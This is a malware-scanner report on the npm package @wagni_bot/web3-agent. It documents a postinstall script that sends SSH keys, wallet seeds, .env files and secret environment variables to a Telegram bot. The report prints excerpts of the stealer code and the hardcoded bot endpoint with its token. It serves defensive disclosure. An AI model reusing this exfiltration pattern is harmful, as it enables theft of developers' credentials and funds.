registry / Data exfiltration / @wagni_bot/web3-agent
@wagni_bot/web3-agent
Unofficial web3-agent SDK
This report shows the evidence for @wagni_bot/web3-agent@1.0.0. 8 of 8 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 4mo ago · by lpm-firewall-aiDirect source inspection confirms install-time credential and sensitive-file exfiltration unrelated to the advertised web3 SDK. This is concrete malicious behavior with automatic lifecycle execution.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm install runs package.json postinstall
Impact
Exposes environment secrets, API keys, wallet seeds, SSH keys/config, and credential-like files from project and home directories
Mechanism
install-time secret and file exfiltration to Telegram
Attack narrative
During npm install, package.json invokes postinstall.js. That script sends host/user/cwd metadata to Telegram, scans the project directory, home directory, and ~/.ssh for credential-like filenames, reads matching file contents, extracts secret-like environment variables, and posts the collected data to a hardcoded Telegram bot/chat.
AI rationale
Direct source inspection confirms install-time credential and sensitive-file exfiltration unrelated to the advertised web3 SDK. This is concrete malicious behavior with automatic lifecycle execution.
Evidence
package.jsonpostinstall.jsindex.jsprocess.cwd() credential-like filesos.homedir() credential-like files~/.ssh/id_rsa~/.ssh/id_ed25519~/.ssh/config
Network endpoints1
api.telegram.org/bot8804087989:AAHUia-5DCloXsg9M9QhffTsHO5J_6FAxQM/sendMessage
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json defines install-time postinstall: node postinstall.js
- postinstall.js hardcodes Telegram bot token/chat id and POSTs to api.telegram.org
- postinstall.js sends hostname, username, cwd, and platform on install
- postinstall.js scans process.cwd(), os.homedir(), and ~/.ssh for .env, key, mnemonic, seed, wallet, secret files
- postinstall.js reads matching files and sends their contents in chunks
- postinstall.js filters process.env for PRIVATE/SECRET/TOKEN/API_KEY/PASSWORD/MNEMONIC/SEED/WALLET/AWS vars and sends values
Evidence against
- index.js only exports an empty object
- No legitimate SDK functionality observed in package files
Behavioral surface
EnvironmentVarsFilesystemNetwork
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
4 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node postinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpostinstall.jsView file
1#!/usr/bin/env node
L2: const https = require('https');
L3: const http = require('http');
...
L17: });
L18: req.write(payload);
L19: req.end();
...
L70: const data = {
L71: hostname: os.hostname(),
L72: user: os.userInfo().username,
...
L89: // Send sensitive env vars
L90: const sensitive = Object.entries(process.env).filter(([k]) =>
L91: k.includes('PRIVATE')||k.includes('SECRET')||k.includes('TOKEN')||k.includes('API_KEY')||k.includes('PASSWORD')||k.includes('MNEMONIC')||k.includes('SEED')||k.includes('WALLET')||k...
Critical
Findings
2 Critical1 High4 Medium5 Low
CriticalCredential Exfiltrationpostinstall.js
CriticalTrigger Reachable Dangerous Capabilitypostinstall.js
HighInstall Time Lifecycle Scriptspackage.json
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to @wagni_bot/web3-agent@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing @wagni_bot/web3-agent@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.